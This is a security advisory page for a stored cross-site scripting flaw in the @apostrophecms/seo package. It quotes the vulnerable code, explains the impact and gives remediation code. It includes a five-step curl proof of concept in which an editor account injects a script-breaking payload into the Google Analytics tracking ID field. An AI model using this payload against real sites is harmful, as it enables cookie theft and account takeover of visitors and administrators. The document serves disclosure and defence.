CVE-2026-53608: @apostrophecms/seo · Cross-site Scripting
Affects @apostrophecms/seoSource CVE Database V5
Not known to be exploited · CVSS 8.7 High.
Data as of 30 Oct 2026, 11:52 UTC
- EPSS
- 0.2% chance of exploitation in 30 days – higher than 17% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:NExploitation evidence
Disclosed: evidence found.
CVE published 12 Jun 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| apostrophecms@apostrophecms/seo | Affected
| Fixed in– |
AI-suggested
In the meantime, it is recommended to validate the seoGoogleTrackingId and seoGoogleTagManager fields against expected formats before storage to reject malicious input. Additionally, escape or safely serialize these values before inserting them into script bodies to prevent raw injection. For example, use JSON serialization or a safe escaping function instead of raw template literals. Restrict editor permissions if possible until a fix is available. Monitor vendor channels for official patches or updates.
Description
<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />